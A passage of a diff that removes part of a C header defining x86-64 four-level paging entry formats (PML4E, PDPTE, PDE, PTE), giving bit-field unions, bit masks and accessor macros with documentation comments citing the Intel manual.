PML4E_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 512-GByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PML4E_64_EXECUTE_DISABLE_BIT 63 -#define PML4E_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PML4E_64_EXECUTE_DISABLE_MASK 0x01 -#define PML4E_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pml4e_64; - -/** - * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 1-GByte page. - */ - uint64_t present : 1; -#define PDPTE_1GB_64_PRESENT_BIT 0 -#define PDPTE_1GB_64_PRESENT_FLAG 0x01 -#define PDPTE_1GB_64_PRESENT_MASK 0x01 -#define PDPTE_1GB_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDPTE_1GB_64_WRITE_BIT 1 -#define PDPTE_1GB_64_WRITE_FLAG 0x02 -#define PDPTE_1GB_64_WRITE_MASK 0x01 -#define PDPTE_1GB_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDPTE_1GB_64_SUPERVISOR_BIT 2 -#define PDPTE_1GB_64_SUPERVISOR_FLAG 0x04 -#define PDPTE_1GB_64_SUPERVISOR_MASK 0x01 -#define PDPTE_1GB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 1-GByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 1-GByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDPTE_1GB_64_ACCESSED_BIT 5 -#define PDPTE_1GB_64_ACCESSED_FLAG 0x20 -#define PDPTE_1GB_64_ACCESSED_MASK 0x01 -#define PDPTE_1GB_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 1-GByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PDPTE_1GB_64_DIRTY_BIT 6 -#define PDPTE_1GB_64_DIRTY_FLAG 0x40 -#define PDPTE_1GB_64_DIRTY_MASK 0x01 -#define PDPTE_1GB_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). - */ - uint64_t large_page : 1; -#define PDPTE_1GB_64_LARGE_PAGE_BIT 7 -#define PDPTE_1GB_64_LARGE_PAGE_FLAG 0x80 -#define PDPTE_1GB_64_LARGE_PAGE_MASK 0x01 -#define PDPTE_1GB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PDPTE_1GB_64_GLOBAL_BIT 8 -#define PDPTE_1GB_64_GLOBAL_FLAG 0x100 -#define PDPTE_1GB_64_GLOBAL_MASK 0x01 -#define PDPTE_1GB_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PDPTE_1GB_64_IGNORED_1_BIT 9 -#define PDPTE_1GB_64_IGNORED_1_FLAG 0xE00 -#define PDPTE_1GB_64_IGNORED_1_MASK 0x07 -#define PDPTE_1GB_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 1-GByte page referenced by this entry. - * - * @note The PAT is supported on all processors that support 4-level paging. - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PDPTE_1GB_64_PAT_BIT 12 -#define PDPTE_1GB_64_PAT_FLAG 0x1000 -#define PDPTE_1GB_64_PAT_MASK 0x01 -#define PDPTE_1GB_64_PAT(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 17; - - /** - * [Bits 47:30] Physical address of the 1-GByte page referenced by this entry. - */ - uint64_t page_frame_number : 18; -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_BIT 30 -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_MASK 0x3FFFF -#define PDPTE_1GB_64_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PDPTE_1GB_64_IGNORED_2_BIT 52 -#define PDPTE_1GB_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PDPTE_1GB_64_IGNORED_2_MASK 0x7F -#define PDPTE_1GB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PDPTE_1GB_64_PROTECTION_KEY_BIT 59 -#define PDPTE_1GB_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PDPTE_1GB_64_PROTECTION_KEY_MASK 0x0F -#define PDPTE_1GB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDPTE_1GB_64_EXECUTE_DISABLE_BIT 63 -#define PDPTE_1GB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDPTE_1GB_64_EXECUTE_DISABLE_MASK 0x01 -#define PDPTE_1GB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pdpte_1gb_64; - -/** - * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that References a Page Directory - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page directory. - */ - uint64_t present : 1; -#define PDPTE_64_PRESENT_BIT 0 -#define PDPTE_64_PRESENT_FLAG 0x01 -#define PDPTE_64_PRESENT_MASK 0x01 -#define PDPTE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDPTE_64_WRITE_BIT 1 -#define PDPTE_64_WRITE_FLAG 0x02 -#define PDPTE_64_WRITE_MASK 0x01 -#define PDPTE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDPTE_64_SUPERVISOR_BIT 2 -#define PDPTE_64_SUPERVISOR_FLAG 0x04 -#define PDPTE_64_SUPERVISOR_MASK 0x01 -#define PDPTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page directory referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page directory referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDPTE_64_ACCESSED_BIT 5 -#define PDPTE_64_ACCESSED_FLAG 0x20 -#define PDPTE_64_ACCESSED_MASK 0x01 -#define PDPTE_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 1-GByte page). - */ - uint64_t large_page : 1; -#define PDPTE_64_LARGE_PAGE_BIT 7 -#define PDPTE_64_LARGE_PAGE_FLAG 0x80 -#define PDPTE_64_LARGE_PAGE_MASK 0x01 -#define PDPTE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PDPTE_64_IGNORED_1_BIT 8 -#define PDPTE_64_IGNORED_1_FLAG 0xF00 -#define PDPTE_64_IGNORED_1_MASK 0x0F -#define PDPTE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page directory referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PDPTE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PDPTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PDPTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PDPTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PDPTE_64_IGNORED_2_BIT 52 -#define PDPTE_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PDPTE_64_IGNORED_2_MASK 0x7FF -#define PDPTE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDPTE_64_EXECUTE_DISABLE_BIT 63 -#define PDPTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDPTE_64_EXECUTE_DISABLE_MASK 0x01 -#define PDPTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pdpte_64; - -/** - * @brief Format of a 4-Level Page-Directory Entry that Maps a 2-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 2-MByte page. - */ - uint64_t present : 1; -#define PDE_2MB_64_PRESENT_BIT 0 -#define PDE_2MB_64_PRESENT_FLAG 0x01 -#define PDE_2MB_64_PRESENT_MASK 0x01 -#define PDE_2MB_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDE_2MB_64_WRITE_BIT 1 -#define PDE_2MB_64_WRITE_FLAG 0x02 -#define PDE_2MB_64_WRITE_MASK 0x01 -#define PDE_2MB_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDE_2MB_64_SUPERVISOR_BIT 2 -#define PDE_2MB_64_SUPERVISOR_FLAG 0x04 -#define PDE_2MB_64_SUPERVISOR_MASK 0x01 -#define PDE_2MB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 2-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 2-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDE_2MB_64_ACCESSED_BIT 5 -#define PDE_2MB_64_ACCESSED_FLAG 0x20 -#define PDE_2MB_64_ACCESSED_MASK 0x01 -#define PDE_2MB_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 2-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PDE_2MB_64_DIRTY_BIT 6 -#define PDE_2MB_64_DIRTY_FLAG 0x40 -#define PDE_2MB_64_DIRTY_MASK 0x01 -#define PDE_2MB_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). - */ - uint64_t large_page : 1; -#define PDE_2MB_64_LARGE_PAGE_BIT 7 -#define PDE_2MB_64_LARGE_PAGE_FLAG 0x80 -#define PDE_2MB_64_LARGE_PAGE_MASK 0x01 -#define PDE_2MB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PDE_2MB_64_GLOBAL_BIT 8 -#define PDE_2MB_64_GLOBAL_FLAG 0x100 -#define PDE_2MB_64_GLOBAL_MASK 0x01 -#define PDE_2MB_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PDE_2MB_64_IGNORED_1_BIT 9 -#define PDE_2MB_64_IGNORED_1_FLAG 0xE00 -#define PDE_2MB_64_IGNORED_1_MASK 0x07 -#define PDE_2MB_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 2-MByte page referenced by this entry. - * - * @note The PAT is supported on all processors that support 4-level paging. - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PDE_2MB_64_PAT_BIT 12 -#define PDE_2MB_64_PAT_FLAG 0x1000 -#define PDE_2MB_64_PAT_MASK 0x01 -#define PDE_2MB_64_PAT(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 8; - - /** - * [Bits 47:21] Physical address of the 2-MByte page referenced by this entry. - */ - uint64_t page_frame_number : 27; -#define PDE_2MB_64_PAGE_FRAME_NUMBER_BIT 21 -#define PDE_2MB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 -#define PDE_2MB_64_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF -#define PDE_2MB_64_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PDE_2MB_64_IGNORED_2_BIT 52 -#define PDE_2MB_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PDE_2MB_64_IGNORED_2_MASK 0x7F -#define PDE_2MB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PDE_2MB_64_PROTECTION_KEY_BIT 59 -#define PDE_2MB_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PDE_2MB_64_PROTECTION_KEY_MASK 0x0F -#define PDE_2MB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDE_2MB_64_EXECUTE_DISABLE_BIT 63 -#define PDE_2MB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDE_2MB_64_EXECUTE_DISABLE_MASK 0x01 -#define PDE_2MB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pde_2mb_64; - -/** - * @brief Format of a 4-Level Page-Directory Entry that References a Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page table. - */ - uint64_t present : 1; -#define PDE_64_PRESENT_BIT 0 -#define PDE_64_PRESENT_FLAG 0x01 -#define PDE_64_PRESENT_MASK 0x01 -#define PDE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PDE_64_WRITE_BIT 1 -#define PDE_64_WRITE_FLAG 0x02 -#define PDE_64_WRITE_MASK 0x01 -#define PDE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PDE_64_SUPERVISOR_BIT 2 -#define PDE_64_SUPERVISOR_FLAG 0x04 -#define PDE_64_SUPERVISOR_MASK 0x01 -#define PDE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PDE_64_ACCESSED_BIT 5 -#define PDE_64_ACCESSED_FLAG 0x20 -#define PDE_64_ACCESSED_MASK 0x01 -#define PDE_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 2-MByte page). - */ - uint64_t large_page : 1; -#define PDE_64_LARGE_PAGE_BIT 7 -#define PDE_64_LARGE_PAGE_FLAG 0x80 -#define PDE_64_LARGE_PAGE_MASK 0x01 -#define PDE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PDE_64_IGNORED_1_BIT 8 -#define PDE_64_IGNORED_1_FLAG 0xF00 -#define PDE_64_IGNORED_1_MASK 0x0F -#define PDE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PDE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PDE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PDE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PDE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PDE_64_IGNORED_2_BIT 52 -#define PDE_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PDE_64_IGNORED_2_MASK 0x7FF -#define PDE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte region - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PDE_64_EXECUTE_DISABLE_BIT 63 -#define PDE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PDE_64_EXECUTE_DISABLE_MASK 0x01 -#define PDE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pde_64; - -/** - * @brief Format of a 4-Level Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-KByte page. - */ - uint64_t present : 1; -#define PTE_64_PRESENT_BIT 0 -#define PTE_64_PRESENT_FLAG 0x01 -#define PTE_64_PRESENT_MASK 0x01 -#define PTE_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PTE_64_WRITE_BIT 1 -#define PTE_64_WRITE_FLAG 0x02 -#define PTE_64_WRITE_MASK 0x01 -#define PTE_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PTE_64_SUPERVISOR_BIT 2 -#define PTE_64_SUPERVISOR_FLAG 0x04 -#define PTE_64_SUPERVISOR_MASK 0x01 -#define PTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PTE_64_ACCESSED_BIT 5 -#define PTE_64_ACCESSED_FLAG 0x20 -#define PTE_64_ACCESSED_MASK 0x01 -#define PTE_64_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t dirty : 1; -#define PTE_64_DIRTY_BIT 6 -#define PTE_64_DIRTY_FLAG 0x40 -#define PTE_64_DIRTY_MASK 0x01 -#define PTE_64_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t pat : 1; -#define PTE_64_PAT_BIT 7 -#define PTE_64_PAT_FLAG 0x80 -#define PTE_64_PAT_MASK 0x01 -#define PTE_64_PAT(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint64_t global : 1; -#define PTE_64_GLOBAL_BIT 8 -#define PTE_64_GLOBAL_FLAG 0x100 -#define PTE_64_GLOBAL_MASK 0x01 -#define PTE_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PTE_64_IGNORED_1_BIT 9 -#define PTE_64_IGNORED_1_FLAG 0xE00 -#define PTE_64_IGNORED_1_MASK 0x07 -#define PTE_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PTE_64_PAGE_FRAME_NUMBER_BIT 12 -#define PTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved1 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PTE_64_IGNORED_2_BIT 52 -#define PTE_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PTE_64_IGNORED_2_MASK 0x7F -#define PTE_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - - /** - * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint64_t protection_key : 4; -#define PTE_64_PROTECTION_KEY_BIT 59 -#define PTE_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PTE_64_PROTECTION_KEY_MASK 0x0F -#define PTE_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - - /** - * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page - * controlled by this entry); otherwise, reserved (must be 0). - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t execute_disable : 1; -#define PTE_64_EXECUTE_DISABLE_BIT 63 -#define PTE_64_EXECUTE_DISABLE_FLAG 